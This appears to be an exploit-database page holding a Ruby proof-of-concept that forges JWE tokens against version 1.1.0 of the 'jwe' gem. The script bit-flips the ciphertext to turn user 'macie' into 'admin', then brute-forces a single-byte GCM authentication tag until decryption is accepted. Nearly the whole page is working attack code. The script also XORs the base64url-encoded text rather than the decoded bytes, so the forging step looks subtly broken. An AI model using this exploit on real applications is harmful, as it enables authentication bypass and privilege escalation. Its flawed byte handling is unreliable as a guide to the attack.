4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / forge-jwe.rb RB
gem 'jwe', '1.1.0'
require 'jwe'
require 'base64'

def split_jwe(jwe_token)
    parts = jwe_token.split('.')
    if parts.size != 5
      puts "Invalid JWE format. Expected 5 parts, got #{parts.size}"
      return nil
    end
    
    {
      protected: parts[0],
      encrypted_key: parts[1],
      iv: parts[2],
      ciphertext: parts[3],
      tag: parts[4]
    }
end

def xor(buf1, buf2)
    buf1.bytes.zip(buf2.bytes).map { |a, b| (a ^ b).chr }.join
end

key = OpenSSL::Random.random_bytes(32)
data= '{user: macie}'
jwetoken= JWE.encrypt(data, key, alg: 'dir', enc: 'A256GCM')
puts jwetoken

parts = split_jwe(jwetoken)
parts.each { |k,v| puts "  #{k}: #{v}" }
ciphertext = parts[:ciphertext]
puts ciphertext

# Let's say we know part of the data and ciphertext
# Lets say we want to make the user as admin. We need a known user for this "macie", so we can use it to forge the jwe token
# So we need to modify it from {user: macie} to {user: admin}

encrypted_prefix = ciphertext[0...10]  # this is till {user:
encrypted_username = ciphertext[10...15] # this is for macie --> 5 bytes
encrypted_suffix = ciphertext[15..-1] # this is for }

puts encrypted_prefix
puts encrypted_username
puts encrypted_suffix

# Substitute known username "macie" with "admin" in the encrypted text
username_xor = xor("macie", "admin")
forged_username = xor(encrypted_username, username_xor)
forged_ciphertext = encrypted_prefix + forged_username + encrypted_suffix

puts forged_ciphertext
puts "Comparing bytesize for forged and original ciphertext"
puts forged_ciphertext.bytesize
puts ciphertext.bytesize

# Now we brute for the auth tag for this
(0..255).each do |byte|
    single_byte_tag = [byte].pack('C')
    crafted_jwe = [
      parts[:protected],
      parts[:encrypted_key],
      parts[:iv],
      forged_ciphertext,
      Base64.urlsafe_encode64(single_byte_tag, padding: false)
    ].join('.')
    #puts "The crafted jwe token is: #{crafted_jwe}"
    begin
        decrypted = JWE.decrypt(crafted_jwe, key)
        puts "Found working single-byte tag: 0x#{byte.to_s(16)}"
        puts "Decrypted message: #{decrypted}"
        break
    rescue
    end
end